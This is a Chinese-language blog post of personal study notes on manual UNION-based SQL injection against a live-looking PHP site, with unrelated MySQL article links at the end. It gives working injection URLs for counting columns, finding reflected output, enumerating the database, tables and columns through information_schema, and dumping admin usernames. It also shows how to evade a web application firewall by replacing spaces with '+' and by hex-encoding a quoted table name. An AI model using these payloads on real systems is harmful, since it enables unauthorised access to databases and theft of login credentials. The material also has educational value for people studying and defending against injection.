首页 > 数据库 >sql手工注入获取库、表名(union联合注入)(个人学习笔记)

sql手工注入获取库、表名(union联合注入)(个人学习笔记)

时间:2024-10-15 23:22:08浏览次数:13  
标签:schema union --+ sql php id select 注入

1,发现存在sql漏洞的网站

当我们发现一个网站存在sql注入的漏洞时,可以使用sql手工注入来获取信息,如下列的网站

sql注入的原理是前端给后端发送指令的时候由于设计者未考虑安全,导致用户可以加上自己的指令进去,从而让服务器完成一些列危险的操作

2,确定列表数名

首先,我们要先知道该网站的列表数名,为什么要知道这个呢?我下面给大家看一下该网站的sql语句

 select id,title,content from info where id=0

select后面跟着的是id,title,content三个参数,所以列表数名是3。

可是这个语句我们是看不到的,那么我们要怎么样才能知道列表数名是3呢?

这要用到order by语句了。

.php?id=1 order by 1,2,3,4,5 --+

这是查看列表数名的语句,我来实战给大家看一下

 %20是空格的url编码,代表着空格

.php?id=1 order by 1,2 --+

可以看到页面正常,那么我把数字继续加

.php?id=1 order by 1,2,3,4 --+

到4的时候页面报错了,3的时候是正常,说明3是列表数名 

 3,确定回显点

获取到了列表数名有啥用?只有获取了列表数名才能搭配union来联合注入

union的语句为下

.php?id=0 union select 1,2,3,4,5,6,7 --+

 这里id=0要为一个无用参数(如id=0),上面使用order by的id要为有用参数(如id=1)

union语句要求前后数量要一至,该网站的sql语句为下

 select id,title,content from info where id=0

前面有id,title,content,三个,所以使用union select 的时候也要有三个

 select id,title,content from info where id=0 union select 1,2,3 --+

输入到网站里的效果为

 发现该网站有防火墙waf,我们的union被拦截了,不过没事,我们可以绕过他。

这个防火墙是wts,该防火墙绕过的一个方法是将空格改为+

.php?id=0+union+select+1,2,3 --+

成功绕过,并且知道了回显点为3 

网站里不是所有的参数都会显示的,只有部分参数会显示,这就是回显点。我们输入获取库名,表名的指令后需要我们能够看到,所以我们就是要在回显点输入,这便是为什么要确定回显点

4,获取库名

database():这个函数的作用是获取库名,将他输在回显点上

.php?id=0+union+select+1,2,database() --+

 

这就获取到了库名

5,获取表名

接下来我们要获取数据库中的数据表,语句如下

.php?id=0 +union+select+1,2,table_name+from+information_schema.tables+where+table_schema=database() --+

至于schema这个东西可以自己去其他文章了解一下,这边我只讲如何操作。

获取到一个表名,那么如何获取到全部表名呢?可以用到group_concat()函数 

.php?id=0 +union+select+1,2,group_concat(table_name)+from+information_schema.tables+where+table_schema=database() --+

被防火墙制裁了,说明group_concat()用不了,但这还不足以让我老实,我们可以用limit来搞

.php?id=0 +union+select+1,2,table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1 --+

limit是一个灵活的取数标签,作用是取出指定的文章。

limit='0,1',表示从第一个文章开始,取1篇文章。

limit='1,1',表示从第二个文章开始,取1篇文章。

limit='2,3',表示从第三个文章开始,取3篇文章。

以此类推,用法有点类似row标签,但是比row更加灵活。                  
原文链接:https://blog.csdn.net/csdnAaron/article/details/82884753

手动输入有点慢,不过可以放到burp中快速查询,这里就不介绍了,可以移步至其他文章

我这里直接查询1,1

 获取到了一个表名

6,获取字段

获取字段就是改为column

.php?id=0+union+select+1,2,column_name+from+information_schema.columns+where+table_name='admin_login' --+

报错了,我们可以发现admin_login左右两边的单引号被转义成\'导致语句错误,之前我们用的是database()函数所以不会出现该问题,那么现在如何解决呢?

一个办法是使用hex编码,去网上搜索hex在线编码,将admin_login编码一下

使用方法是0x61646D696E5F6C6F67696E

.php?id=0+union+select+1,2,column_name+from+information_schema.columns+where+table_name=0x61646D696E5F6C6F67696E --+

成功获取到字段

7,查看字段

直接亮代码

.php?id=0+union+select+1,2,username+from+admin_login --+

第一个账号是admin,这就完成了一次sql注入查看信息了(仅供学习参考使用)

标签:schema,union,--+,sql,php,id,select,注入
From: https://blog.csdn.net/2401_86737011/article/details/142964403

相关文章

  • MySQL的下载和安装
    一、下载安装包1.进入官网,下载MySQL安装包(https://www.mysql.com/)安装安装包下载完成后,双击安装包,进入安装指引 安装指引中,选择自定义安装Custom,并点击Next【下一步】 3.电脑缺少C++时,上一步中点击next后,会进入checkrequirements页,选择服务,并点击【execute......
  • ABP VNext 系列:框架启动流程以及依赖注入原理和源码分析
    简单介绍ABPVNextGithub地址:https://github.com/abpframework/abp官网文档地址:https://abp.io/docs/latest官网:https://abp.io/ABPVNext框架是一个基于ASP.NETCore的完整基础架构,也就是我们现在称的ABP框架,它遵循软件开发最佳实践和最新技术来创建现代Web应用程......
  • SQL
    DDL用于定义数据库对象的结构,如表、视图、索引等。其主要操作包括:CREATE:创建新表、视图、索引等。CREATETABLEtable_name(column1datatype,column2datatype,);ALTER:修改现有表的结构,如添加、删除列,修改数据类型等。ALTERTABLEtable_nameADDcolumn_namedatatype;......
  • MySQL数据库宕机,启动不起来,教你一招搞定!
    查看MySQLerror日志查看MySQLerror日志,排查哪个表(表空间)文件破坏或者丢失,线索就是[pageid:space=xxx,pagenumber=xxx]。2024-09-09T10:12:39.111413+08:000[ERROR]InnoDB:Databasepagecorruptionondiskorafailedfilereadofpage[pageid:space=73,page......
  • MySQL数据页损坏,数据库启动不起来,再教你一招搞定!
    上一篇文章[MySQL数据库宕机,启动不起来,教你一招搞定!]介绍了数据页损坏一种修复方法,现在介绍另外一种方法,使用第三方工具Inno_space来进行修复。Inno_space是一个专为解析和修复InnoDB表空间文件(.ibd)设计的命令行工具。它允许用户直接访问和操作这些文件,同时还支持修复corrupt......
  • ElasticSearch的倒排索引和相关概念与MySQL的对比
    ElasticSearch的倒排索引和相关概念在用关系型数据库时,一些频繁用作查询条件的字段我们都会去建立索引来提升查询效率。在关系型数据库中,我们一般都采用B树索引进行存储,所以B树索引也是我们接触比较多的一种索引数据结构,但是在使用过程中,我们发现无法使用关系型数据库进行类......
  • Elasticsearch 倒排索引,ES相关概念对比MySQL
    elasticsearch之所以有如此高性能的搜索表现,正是得益于底层的倒排索引技术。什么是倒排索引?倒排索引的概念是基于MySQL这样的正向索引而言的。倒排索引中有两个非常重要的概念:文档(Document):用来搜索的数据,其中的每一条数据就是一个文档。例如一个网页、一个商品信息词条(Te......
  • Elasticsearch相关概念对比MySQL
    Elasticsearch相关概念对比MySQLElasticsearch中,文档指的是每一条数据,例如:我喜欢你。词条指的是将文档拆分成有意义的词语,例如之前的文档可拆成4个词条:我、喜欢、你。MySql中的概念Elasticsearch中的概念Table表Index索引,文档的集合Row一行行数据Document文档......
  • MySQL 全局表和表锁
    MySQL的锁可以分为全局表、表级表和行锁三类。全局锁加全局读锁,整个数据库处于只读状态,可以用于数据库备份flushtableswithreadlock利用重复读隔离级别,可以避免加全局锁mysqldump--single-transaction不推荐使用setglobalreadyonly=true使整库处于只读状态rea......
  • MySQL 唯一索引和普通索引
    唯一索引和普通索引的区别查询过程基本没有区别selectidfromTwherek=5InnoDB数据的读写单位是数据页,默认是16KB。更新过程普通索引可以使用changebuffer(会持久化),唯一索引不行。当需要更新一个数据页是,如果数据页在内存中就直接更新,如果数据页还没在内存中,在不......